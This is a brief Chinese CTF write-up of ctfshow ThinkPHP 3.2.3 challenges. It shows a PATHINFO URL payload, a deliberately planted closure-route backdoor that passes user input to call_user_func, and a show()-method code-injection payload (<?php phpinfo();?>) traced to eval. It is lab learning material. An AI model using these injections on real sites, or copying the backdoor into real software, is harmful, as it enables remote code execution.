thinkphp3.23
web569(pathinfo的运用)
TP3.2.3开发手册-URL模式
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:
http://serverName/index.php/模块/控制器/操作
payload:
http://serverName/index.php/Admin/Login/ctfshowLogin
web570(闭包路由后门)
审计提供的Application文件
这里详情TP3.2.3开发手册-闭包支持
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
);
web571(show方法导致的命令执行)
看了师傅们写的wp自己测试了下
将附件的Application替代thinkphp3.23里面的Application
先看下效果
接下来就是找下原理
我们要分析一下show这个函数的走向,在vscode上下断点
然后访问
http://127.0.0.1/thinkphp3.23/index.php/Home/Index/index?n=<?php phpinfo();?>
我们传的参数n是content变量
先进入show函数->display函数->fetch函数->eval函数执行content